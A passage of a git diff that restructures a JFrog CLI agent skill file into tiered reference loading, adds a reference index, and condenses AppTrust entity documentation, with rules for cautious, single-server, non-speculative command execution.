already ran. Subagents do not re-ask. | Exit | Meaning | |------|---------| @@ -125,6 +221,9 @@ re-run the script. | 2 | `jf` not installed — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | | 3 | `jf` below minimum version — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | +Exit 2 or 3 prints no `` on stdout. Do not invent or hand-assemble one +from this file or from `jf --version`. + Exit 2 or 3 is not a fatal error. Attempt to install or upgrade the CLI (see `references/jfrog-cli-install-upgrade.md`). If installation succeeds, re-run the environment check. If installation is not possible (no permissions, @@ -153,8 +252,8 @@ command output* below. ## Cautious execution -Do not run commands speculatively. Before executing any JFrog CLI command, -MCP tool call, or API call: +**HARD RULES — never skip.** Speculative / preparatory / guessed ops are +forbidden. Before any JFrog CLI command, MCP tool call, or API call: 1. Confirm the operation is needed to fulfill the user's request. If the request is ambiguous or could refer to multiple systems (e.g. @@ -172,7 +271,12 @@ MCP tool call, or API call: repository does not exist, package not at the expected location, build not found), **stop and report the gap to the user**. Do not perform copy, move, upload, create-repo, or any other mutating operation to satisfy the - precondition unless the user explicitly asks for it. These "helper" mutations + precondition. "Put it there so the download succeeds", "make it work", or + "do whatever you need" is still a workaround — not permission to invent + the missing artifact. Only perform that mutation when it **is** the + user's requested work (publish this file, create this repo, move this + artifact), not a helper to make a different operation succeed. These + "helper" mutations can have cascading effects the user has not considered — virtual repository resolution changes, storage quota consumption, replication triggers, Xray re-indexing, or permission propagation. @@ -185,9 +289,15 @@ MCP tool call, or API call: ## Server selection rules (mandatory) -**Single-server invariant.** Every `jf` call MUST pass `--server-id ` -(default resolved below); for one user request, all `jf` calls use **exactly -one** server-id. A wrong answer from the wrong server is worse than a stop-and-ask. +**HARD RULES — never skip or soften.** Wrong-server answers and silent +server-switching are worse than stopping to ask. + +**Single-server invariant.** After `` is resolved, every subsequent +network-facing `jf` call MUST pass `--server-id ` (default resolved below); +bootstrap `jf --version` / `jf config show` stay exempt until then. For one user +request, all network `jf` calls use **exactly one** server-id — unless the user +names servers to compare (e.g. `compare and `), where each call passes +its own target's `--server-id`. **JFrog MCP and CLI use independent auth.** MCP tools authenticate through the MCP server session (not `jf config`); CLI commands authenticate through @@ -236,303 +346,137 @@ failure, **stop with no further `jf` calls** and respond: > configured server(s): `` — I won't query them without your explicit > instruction. How would you like to proceed? -## When to read reference files - -Load the most specific file for the task at hand. Avoid loading more than 2-3 -reference files for a single operation — start with the most relevant one and -only load additional files if the first doesn't cover the need. File sizes -vary (~25–640 lines); larger files are noted with approximate line counts -below. - -### Cross-domain - -- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file -- **Looking up documentation URLs**: read `references/jfrog-url-references.md` - -### Artifactory - -- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` (~220 lines) -- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` (~165 lines) -- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build//?project=` — see § *Retrieving full build info*) -- **AQL queries**: read `references/artifactory-aql-syntax.md` (~585 lines) -- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` (~220 lines) - -### Xray & security - -- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` (~290 lines) -- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) -- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export)**: read `references/xray-entities.md` § Curation audit events +## Path-gated base references (MUST before `jf api` / advanced CLI) -### Release lifecycle & distribution +These four files **are Tier B of the base skill** — content that used to live +in this SKILL.md. They are **not** optional INDEX domain lookups, and they are +**not** required before every CLI / setup path. -- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` (~180 lines) -- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` (~155 lines) +**MUST read every one in full before** `jf api`, AQL via `jf api`, advanced +CLI I/O (temp-file / stdout-stderr patterns), or acting on MCP results via +shell/`jq`. Ordinary `jf` (e.g. `jf setup`, `jf rt …` with known flags) needs +**Tier A only** ([At a glance](#at-a-glance-always-read-core)). -### Catalog +The short [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets are the +session floor — **they do not replace** full +[`references/cli-gotchas.md`](references/cli-gotchas.md) when you enter Tier B. -- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` (~190 lines) -- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-safety-and-download` skill for pure CVE lookups +| Tier B — MUST read in full (path-gated) | Covers | +|-----------------------------------------|--------| +| [`references/cli-gotchas.md`](references/cli-gotchas.md) | gotchas, caveats, known issues, do/don't, I/O & auth traps | +| [`references/jf-api.md`](references/jf-api.md) | product-prefix table, flags, examples, GraphQL payload | +| [`references/preserving-command-output.md`](references/preserving-command-output.md) | temp files, `$$` paths, no re-fetch for `jq` | +| [`references/cli-command-discovery.md`](references/cli-command-discovery.md) | namespaces, top-level cmds, Pipelines sunset | -### OneModel (GraphQL) +Skipping any of these **on a Tier B path** = incomplete base-skill load / +hard-rule violation. Skipping them on a Tier A-only path (setup / simple CLI) +is **not** a violation. -- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` (~325 lines) -- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` (~555 lines) -- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` (~280 lines) - -### Platform administration - -- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` -- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` -- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` (~260 lines) -- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` (~180 lines) - -### CLI setup & authentication - -- **Adding a server or logging in**: read `references/jfrog-login-flow.md` (~130 lines) -- **CLI not installed, upgrade needed, or `jq` unavailable**: read `references/jfrog-cli-install-upgrade.md` - -### General patterns +## When to read reference files -- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` (~135 lines) -- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` -- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` -- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` +Prefer reading this SKILL.md in full. [At a glance](#at-a-glance-always-read-core) +is the **Tier A** floor for partial readers. **Path-gated base references** +above are **Tier B** (mandatory on those paths, not every session). Everything +else under [`references/INDEX.md`](references/INDEX.md) is **Tier C** domain +detail — load ≤2–3 most specific files for the task; skip unused domains. +`references/INDEX.md` lists every `references/*.md` file (Tier B + Tier C). +Add/rename/remove a file → update INDEX in the same change — CI +(`tests/jfrog/test_reference_index_contract.py`) fails if they diverge. ## Command discovery -Use the commands listed below as your primary reference. Run `--help` to -verify options you are unsure about or to discover commands not listed here — -do not rely on memorized commands outside this skill, as they may be outdated. +Run `--help` to verify options — do not rely on memorized commands. -1. `jf --help` — list all namespaces and top-level commands -2. `jf --help` — list subcommands in a namespace -3. `jf --help` — show usage, arguments, and options +1. `jf --help` → 2. `jf --help` → 3. `jf --help` -### CLI namespaces - -| Namespace | Alias | Product | -|-----------|-------|---------| -| `rt` | | Artifactory | -| `xr` | | Xray | -| `ds` | | Distribution V1 | -| `at` | `apptrust` | AppTrust | -| `evd` | | Evidence | -| `mc` | | Mission Control | -| `worker` | | Workers | -| `config` | `c` | CLI server configuration | -| `plugin` | | CLI plugin management | -| `ide` | | IDE integration | - -> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. -> Do not use the `pl` CLI namespace or the Pipelines REST API -> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the -> product has been sunset. - -Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, -`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. - -Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, -`sbom-enrich`. - -Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, -`generate-summary-markdown`, `exchange-oidc-token`, `completion`. +**Tier B — MUST read in full before relying on discovery beyond `--help`:** +[`references/cli-command-discovery.md`](references/cli-command-discovery.md) +(namespaces, top-level lifecycle/security commands, Pipelines sunset). ## Invoking platform APIs with `jf api` -`jf api` is the Tier 3 entry point for JFrog Platform REST and GraphQL -endpoints, auto-authenticated against the resolved server. **Do not use -`jf rt curl` or `jf xr curl`**; they are superseded by `jf api`. - -### Product-prefix table - -`jf api` requires the **full** path including the product prefix; omitting it -returns 404. - -| Product | Path prefix | -|---------|-------------| -| Artifactory | `/artifactory/api/...` | -| Xray | `/xray/api/...` | -| Access (users, groups, tokens, permissions, projects) | `/access/api/...` | -| Evidence | `/evidence/api/...` | -| Release Lifecycle | `/lifecycle/api/...` | -| AppTrust | `/apptrust/api/...` | -| Distribution | `/distribution/api/...` | -| OneModel (GraphQL) | `/onemodel/api/v1/graphql`, `/onemodel/api/v1/supergraph/schema` | -| Mission Control | `/mc/api/...` | -| Curation | `/xray/api/v1/curation/...` (lives under Xray) | - -### Examples - -```bash -jf api /artifactory/api/repositories -jf api --server-id /artifactory/api/system/version - -# AQL (POST with text/plain body) -jf api /artifactory/api/search/aql \ - -X POST -H "Content-Type: text/plain" -d '' -``` - -Common flags: `-X/--method`, `-H/--header`, `-d/--data`, `--input `, -`--server-id`, `--timeout`. Body on stdout, status on stderr — see -[Gotchas](#gotchas). - -### GraphQL (OneModel) - -OneModel is the unified GraphQL API. **Do not** embed the query inside a JSON -literal (`-d '{"query":"..."}'`) — escaping breaks requests. Build the payload -with `jq -n --arg`, pass it via `--input`, and save the response to a file -before running `jq` on it. - -```bash -QUERY='{ evidence { searchEvidence(first: 5, where: { hasSubjectWith: { repositoryKey: "my-repo-local" } }) { totalCount } } }' -PAYLOAD=/tmp/onemodel-payload-$$.json RESPONSE=/tmp/onemodel-$$.json -jq -n --arg q "$QUERY" '{query:$q}' > "$PAYLOAD" -jf api /onemodel/api/v1/graphql -X POST \ - -H "Content-Type: application/json" --input "$PAYLOAD" > "$RESPONSE" -jq . "$RESPONSE" -``` - -Schema discovery: `jf api /onemodel/api/v1/supergraph/schema > "$SCHEMA_FILE"` -(store only under `~/.jfrog/skills-cache/`, never query responses). Read -`references/onemodel-graphql.md` for the full workflow (schema fetch, -validation, pagination, errors), plus `references/onemodel-query-examples.md` -and `references/onemodel-common-patterns.md` for query shapes, pagination, -variables, and dates. +Tier 3 for Platform REST/GraphQL, auto-authenticated. **Do not use +`jf rt curl` / `jf xr curl`.** Always include the **product prefix** +(`/artifactory`, `/xray`, `/access`, …) — omit → 404. +**Tier B — MUST read in full before `jf api`:** +[`references/jf-api.md`](references/jf-api.md) +(prefixes, flags, examples, OneModel GraphQL payload). Body on stdout / status +on stderr — see [Gotchas](#gotchas--hard-rules-never-skip) + full +`cli-gotchas.md` (Tier B). ## Structured inputs -Several CLI commands require JSON template files. The templates are normally -created by interactive wizard commands (`jf rt rpt`, `jf rt ptt`, `jf rt rplt`) -which agents cannot use. Instead, retrieve an existing config via REST API as a -starting point and modify it: +Interactive wizards (`jf rt rpt` / `ptt` / `rplt`) are unusable for agents. +Fetch an existing config via REST and edit: ```bash jf api /artifactory/api/repositories/ ``` -For other Artifactory or platform REST patterns, or when you need more than -this repo GET, see **Any API gap** under [When to read reference files](#when-to-read-reference-files). - -## Gotchas - -### MCP tools - -- MCP tools return structured data in the tool result. Read response fields - directly; do not pipe MCP output through shell commands or `jq`. - -### CLI and `jf api` - -- `jf api` requires the **product prefix** in the path. Omitting it returns - 404. See the [product-prefix table](#product-prefix-table) for the full list. -- `jf api` writes the body (success or error JSON) to **stdout** and - `[Info] Http Status: NNN` to **stderr** on every call; non-2xx also exits - 1 and adds `[Warn] jf api: returned NNN`. Pipe stdout to - `jq` directly; **never `2>&1 | jq`** — stderr corrupts the JSON. To keep - diagnostics: `jf api 2>/tmp/err-$$.log | jq .`. -- `jf api` has **no `-L`** (follow redirects) and **no `-o`** (output file). - Save bodies with shell redirection - (`jf api ... > /tmp/out-$$.json`); for - binary downloads through the Artifactory remote proxy prefer `jf rt dl`, - which handles the cache and redirect semantics natively. -- Remote repository content is stored in a `-cache` suffixed repo. Properties - and AQL queries for remote repo artifacts must target the cache repo. - Conversely, `/api/repositories/` only accepts the parent remote key - (without `-cache`) — strip the suffix for configuration lookups. -- **Do not use `jf rt search`** — always use a direct AQL query via - `jf api /artifactory/api/search/aql -X POST -H "Content-Type: text/plain" -d ''`. - See `references/artifactory-aql-syntax.md`. -- Use `--quiet` flag for non-interactive execution (suppresses confirmation - prompts). **Caution:** `--quiet` is not a global flag — commands that do not - support it (e.g. `jf rt s`, `jf rt ping`) will fail with misleading errors - like "Wrong number of arguments" or "flag provided but not defined". Check - `--help` for a command before adding `--quiet`. -- Use `--server-id` when targeting a non-default server. If a command fails - with `--server-id`, do not retry without it — that silently targets the - default server instead. See [Server selection rules](#server-selection-rules-mandatory). -- Never use interactive commands. All JFrog CLI operations must be performed - non-interactively. Known interactive commands to avoid: `jf config add`, - `jf login`, `jf rt repo-template`, `jf rt permission-target-template`, and - `jf rt replication-template`. For server setup, follow `references/jfrog-login-flow.md`. - For templates, use JSON schemas or REST API. If a command prompts for input - unexpectedly, find the non-interactive alternative via `--help` or REST API. -- `jf config export` output is base64-encoded JSON. Decode with - `base64 -d | jq` to extract fields. -- Build info lookups require a scope (`?buildRepo=` or `?project=`) — - resolve it before calling the API. See `references/artifactory-operations.md` - §Retrieving build info for the full workflow. -- If a `jf api` call returns 401, the configured token may have expired or - been rotated — ask the user to re-run the login flow (see - `references/jfrog-login-flow.md`) for the **same** server. If 403, the - token lacks required permissions. If 404, verify the endpoint path - (especially the product prefix) and target server version. On any of - these errors, do not try a different configured server as a workaround — - that targets a different environment. Report the error and ask the user. -- **Xray contextual analysis:** the summary artifact response has two - applicability fields — `applicability` (top-level, often null) and - `applicability_details` (always present with a `result` string). **Use - `applicability_details[].result` for counts and summaries.** Using the - top-level `applicability` field for aggregation produces wrong counts because - it is null when no scanner exists. See `references/xray-entities.md` - §Contextual analysis for the eight possible result values and jq snippets. -- **OneModel GraphQL:** always fetch the supergraph schema from the **same** - server you query before building operations (schemas differ by deployment); - cache, validate, and execute per `references/onemodel-graphql.md`. -- Never duplicate a network-fetching command to retry `jq` parsing — save the - response to a temp file first (see [Preserving command output](#preserving-command-output)). -- When collecting detail responses in a loop (e.g. per-repo GETs), validate - each body with `jq -e .` before appending to a results file. One non-JSON - or empty response corrupts a downstream `jq -s` slurp. Write validated - lines to an NDJSON file, then `jq -s '.' file.ndjson` to produce the final - array. See `references/general-bulk-operations-and-agent-patterns.md`. -- Accumulated edge cases from real tasks live in `references/general-use-case-hints.md` - — read when debugging odd failures; **append** a short entry when you confirm - a new, reusable gotcha. - +More REST/template patterns → `references/artifactory-api-gaps.md` or +`references/platform-admin-api-gaps.md` via [`references/INDEX.md`](references/INDEX.md). + +## Gotchas — hard rules (never skip) + +**Not tips.** Tier A bullets below are the always-read floor. Full +[`references/cli-gotchas.md`](references/cli-gotchas.md) is **Tier B** — +**MUST** before `jf api` / AQL / advanced CLI I/O / MCP-via-shell; **not** +required before every CLI or `jf setup`. Short bullets do **not** replace the +full file on Tier B paths. + +**Tier A floor (every non-exempt `jf` session):** + +- **`--quiet`** is not global — check `--help` before adding it +- **`--server-id`:** if a call fails with it, do not retry without it (silent + default-server switch). See [Server selection rules](#server-selection-rules-mandatory) +- **Non-interactive only** — avoid `jf config add`, `jf login`, `*template` + wizards; use `references/jfrog-login-flow.md` / REST +- **Auth errors:** 401 → re-login **same** server; 403 → permissions; 404 → + path/prefix/version. Never switch configured servers as a workaround + +**Tier B reminders (load full `cli-gotchas.md` + sibling Tier B refs before +these paths):** + +- **MCP:** read structured tool results directly — do not pipe through shell/`jq` +- **`jf api` I/O:** body → stdout, status → stderr; pipe stdout to `jq`; + **never `2>&1 | jq`**. No `-L` / `-o` — redirect: `jf api … > /tmp/out-$$.json` +- **Product prefix** required on every `jf api` path (see Tier B `jf-api.md`) +- **Never re-fetch to retry `jq`** — save output first + ([Preserving command output](#preserving-command-output) + Tier B + `preserving-command-output.md`) ## Batch and parallel execution -When a task requires multiple independent operations, use the lightest -parallelism mechanism that fits. Three tiers: (1) batch commands in a single -Shell call using loops or `&`, (2) issue parallel Shell tool calls, (3) launch -parallel subagents for large fan-out. Read `references/general-parallel-execution.md` -(~135 lines) for tier selection, examples, and subagent prompt structuring. +Independent ops → lightest parallelism: (1) loops/`&` in one Shell, (2) parallel +Shell calls, (3) subagents for large fan-out. Details → +`references/general-parallel-execution.md`. ## Preserving command output -When a CLI command or API call returns data, redirect the output to a temporary -file so you can re-read it without re-executing the call: - -```bash -OUT=/tmp/jf-repos-$$.json -jf api /artifactory/api/repositories > "$OUT" -echo "$OUT" -``` - -Use `$$` (the shell PID) in the filename to prevent collisions across -concurrent sessions or processes. - -**Cross-call gotcha:** each Shell tool invocation runs in a new process with a -different PID, so `$$` expands to a different value in each call. Always -**echo the expanded filename** so the agent can read it from the output and -reuse the literal path in subsequent calls. Three patterns, in priority order: - -1. **`$$` + echo** (preferred): use `$$` for collision safety, echo the path - as shown above. The agent reads `/tmp/jf-repos-12345.json` from the output - and passes that literal value to the next Shell call. -2. **Session ID**: when many files share a prefix across calls, generate an ID - once (`SID=$(date +%s)-$$`), echo it, and reuse in later calls. -3. **Hardcoded names**: last resort — risks collisions when parallel calls or - subagents write to the same path. - -This protects against wasted round-trips when you need to retry parsing — for -example, if a `jq` filter fails or you extract the wrong field on the first -attempt. Re-read the file instead of hitting the server again. - -Do **not** duplicate the same **network** request in a shell pipeline (e.g. with -`||`) only to re-run `jq` or to reveal jq diagnostics—the duplicate call -adds load on JFrog without fetching new data. Run -`jq '' /tmp/jf-*-$$.json` (or redirect stdin from the file) instead -of re-running the same `jf api` or other identical network-backed command. - -Do **not** reuse saved output across unrelated steps or changed contexts (different -server, user, or intent). The file is only valid for the immediate sequence of -operations that motivated the original call. +Save network responses to a temp file; echo the path; re-read for `jq` — never +re-run the same network call to fix parsing. + +**Tier B — MUST read in full before advanced I/O / re-parse patterns:** +[`references/preserving-command-output.md`](references/preserving-command-output.md) +(`$$` + echo, session id, no re-fetch / no cross-context reuse). + +## Before you run `jf` — quick checklist + +[At a glance](#at-a-glance-always-read-core) **Tier A** floor; add **Tier B** +only when the next action needs `jf api` / advanced CLI: + +- [ ] `export JFROG_CLI_USER_AGENT=''` in this bash — `` is the exact + stdout line from `check-environment.sh` exit 0/1 (never invent / rebuild) +- [ ] CLI offer (`cli-newer-version-offer.sh`) done or N/A (`jfrog-init` / MCP-only) +- [ ] network `jf`: `--server-id ` after subcommand (not `jf --version` / + `jf config show` pre-SID) +- [ ] one server; error → stop, don't switch (multi only if user names / + `compare`) +- [ ] no prep create/copy/move/upload to fill a gap (workaround ask ≠ permission) +- [ ] never guess tools/paths → list / `--help` / `references/`; 404 → stop; + `jf api` product prefix (`/artifactory`, `/xray`, …) +- [ ] **Tier A** hard rules: Cautious execution + Server selection + Gotchas + Tier A floor (interactive / `--server-id` retry / stop-on-error / + `--quiet`) +- [ ] **Tier B** (only if next action is `jf api` / AQL / advanced CLI I/O): + full `cli-gotchas.md`, `jf-api.md`, `preserving-command-output.md`, + `cli-command-discovery.md` diff --git a/skills/jfrog/references/INDEX.md b/skills/jfrog/references/INDEX.md new file mode 100644 index 0000000..b40a61f --- /dev/null +++ b/skills/jfrog/references/INDEX.md @@ -0,0 +1,85 @@ +# Reference index — when to read which file + +**Tier A** = `SKILL.md` At-a-glance floor (before first non-exempt `jf`). +**Tier B** = four files below — **MUST** before `jf api` / AQL / advanced CLI +I/O / MCP-via-shell; **not** before every CLI or `jf setup`. +**Tier C** = domain entries — ≤2–3 most specific; skip unused. Login / CLI +install when needed. + +Paths relative to skill root. List **every** `references/` file (except this +one). CI: `tests/jfrog/test_reference_index_contract.py`. + +--- + +## Tier B — path-gated (MUST before `jf api` / advanced CLI) + +Ordinary CLI / `jf setup` → Tier A only. Skipping any below on a Tier B path = +hard-rule violation. + +- **Gotchas / caveats / do-don'ts**: **MUST** `references/cli-gotchas.md` on Tier B — not replaceable by SKILL.md Tier A floor +- **`jf api` prefixes / flags / GraphQL**: **MUST** `references/jf-api.md` before `jf api` +- **Temp files / `$$` / no re-fetch**: **MUST** `references/preserving-command-output.md` before advanced I/O +- **Namespaces / top-level cmds / Pipelines sunset**: **MUST** `references/cli-command-discovery.md` when discovery beyond `--help` + +Tier C (when needed — not Tier B): + +- **Login / add server**: `references/jfrog-login-flow.md` +- **CLI install / upgrade / `jq` missing**: `references/jfrog-cli-install-upgrade.md` + +--- + +## Domain / on-demand (INDEX navigation) + +Load the most specific file for the task. Avoid more than 2–3 reference files +for one operation. + +## Cross-domain + +- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file +- **Looking up documentation URLs**: read `references/jfrog-url-references.md` + +## Artifactory + +- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` +- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` +- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build//?project=` — see § *Retrieving full build info*) +- **AQL queries**: read `references/artifactory-aql-syntax.md` +- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` + +## Xray & security + +- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` +- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) +- **Package install/resolve/download failure blamed on Curation — 403 from a curated remote, `ETARGET` / "no matching version", a version missing from the index, "why was package X blocked?", or a waiver after a block**: load the `jfrog-package-curation` workflow skill and follow its "Troubleshoot a failure" section (index-time CVS audit + download-time package audit → root cause + remediation, MCP only). Its "Check & download" section instead handles proactive "is this package safe to download?". +- **Is this package safe / allowed / curated? Downloading npm, Maven, PyPI, Go, or similar packages via JFrog**: load the `jfrog-package-curation` workflow skill and follow its "Check & download" section. +- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export) without a failure to triage**: read `references/xray-entities.md` § Curation audit events + +## Release lifecycle & distribution + +- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` +- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` + +## Catalog + +- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` +- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-curation` skill for pure CVE lookups + +## OneModel (GraphQL) + +- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` +- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` +- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` + +## Platform administration + +- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` +- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` +- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` +- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` + +## General patterns + +- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` +- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` +- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` +- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` diff --git a/skills/jfrog/references/apptrust-entities.md b/skills/jfrog/references/apptrust-entities.md index 6ca5088..d1e014f 100644 --- a/skills/jfrog/references/apptrust-entities.md +++ b/skills/jfrog/references/apptrust-entities.md @@ -4,14 +4,13 @@ When to read this file: - Working with **applications**, **application versions**, or **releasables**. - Querying or managing **application version promotions** through stages. -- Understanding what **sources** (builds, release bundles, other app versions) feed into an application version. -- Using the OneModel GraphQL API with the `applications` query root. +- Understanding **sources** (builds, release bundles, other app versions) feeding an application version. +- OneModel GraphQL with `applications` query root. -AppTrust entities are accessed exclusively via the **OneModel GraphQL API** -(`/onemodel/api/v1/graphql`). There are no CLI commands for this domain. +AppTrust via **OneModel GraphQL API** (`/onemodel/api/v1/graphql`). No CLI. -For the OneModel query workflow (credentials, schema fetch, validation, -execution), read `references/onemodel-graphql.md`. +OneModel workflow (credentials, schema fetch, validation, execution): +`references/onemodel-graphql.md`. ## Entity relationship overview @@ -31,28 +30,26 @@ erDiagram ## Application -The top-level entity representing a software application registered in -AppTrust. Applications belong to a JFrog Project and serve as the -organizational container for tracking versions, ownership, and criticality. +Top-level software application in AppTrust. Belongs to a JFrog Project; +container for versions, ownership, criticality. | Field | Description | |-------|-------------| -| `key` | Unique identifier (referenced as `applicationKey` or `appKey` elsewhere) | -| `projectKey` | JFrog Project this application belongs to | +| `key` | Unique ID (`applicationKey` / `appKey` elsewhere) | +| `projectKey` | JFrog Project | | `displayName` | Human-readable name | | `criticality` | `unspecified`, `low`, `medium`, `high`, `critical` | | `maturityLevel` | `unspecified`, `experimental`, `production`, `end_of_life` | -| `owners` | List of users or groups that own the application | -| `labels` | Key-value pairs for custom categorization | +| `owners` | Owning users/groups | +| `labels` | Key-value categorization | Query: `applications.getApplication(key: "...")` or `applications.searchApplications(where: {...})`. ## Application version -A versioned instance of an application. Each version captures a specific set -of releasable artifacts, their sources, and a promotion history through -lifecycle stages. +Versioned instance of an application — releasable artifacts, sources, promotion +history through lifecycle stages. | Field | Description | |-------|-------------| @@ -61,20 +58,18 @@ lifecycle stages. | `tag` | Optional tag | | `status` | Processing status: `STARTED`, `FAILED`, `COMPLETED`, `DELETING` | | `releaseStatus` | Release maturity: `PRE_RELEASE`, `RELEASED`, `TRUSTED_RELEASE` | -| `currentStageName` | Most recent stage the version has been promoted to (null if never promoted) | +| `currentStageName` | Latest promoted stage (null if never promoted) | | `createdBy`, `createdAt` | Audit fields | | `evidenceSubject` | Evidence attestation anchor (shared across domains) | -The `releaseStatus` field is distinct from `status`: `status` tracks the -version creation process, while `releaseStatus` tracks its release maturity. +`releaseStatus` ≠ `status`: `status` = creation process; `releaseStatus` = release maturity. Query: `applications.getApplicationVersion(applicationKey: "...", version: "...")` or `applications.searchApplicationVersions(where: {...})`. ## Releasable -A deployable unit within an application version — either a **package version** -or an individual **artifact**. +Deployable unit within an application version — **package version** or individual **artifact**. | Field | Description | |-------|-------------| @@ -89,14 +84,12 @@ or an individual **artifact**. | `packageVersionLocation` | Link to `StoredPackageVersionLocation` for package releasables | | `vcsCommit` | VCS commit details (for AppTrust-bound package versions) | -Releasables bridge the application model to the underlying Artifactory -storage. The `packageVersionLocation` field connects to the Stored Packages -domain (see `stored-packages-entities.md`). +Releasables bridge application model to Artifactory storage. `packageVersionLocation` +→ Stored Packages domain (`stored-packages-entities.md`). ## Application version promotion -Records the promotion of an application version from one stage to another. -All promotions are recorded including failed attempts. +Promotion of application version between stages. All attempts recorded including failures. | Field | Description | |-------|-------------| @@ -107,13 +100,12 @@ All promotions are recorded including failed attempts. | `artifacts` | Artifacts included in this promotion (repo + path) | | `messages` | Error messages if the promotion failed | -Promotions use the same environment/stage model as Release Bundle promotions -(see `release-lifecycle-entities.md`) but at the application level. +Same environment/stage model as Release Bundle promotions +(`release-lifecycle-entities.md`), at application level. ## Sources -Sources describe how releasables were assembled into an application version. -Four types exist: +How releasables were assembled into an application version. Four types: | Source type | Fields | Description | |-------------|--------|-------------| @@ -122,8 +114,7 @@ Four types exist: | **ApplicationVersion** | `applicationKey`, `version` | Another application version (composition) | | **Direct** | (none) | Directly included without an associated build or bundle | -Sources appear at both the application version level (all sources) and the -individual releasable level (sources for that specific releasable). +At application version level (all sources) and releasable level (per-releasable sources). ## Artifacts (within application versions) @@ -139,16 +130,12 @@ Individual files within releasables. ## Cross-domain connections -AppTrust entities connect to other domains via the OneModel GraphQL API: +Via OneModel GraphQL: - **Evidence** — `ApplicationVersion.evidenceSubject` and - `ApplicationVersionArtifact.evidenceSubject` link to the Evidence domain - via 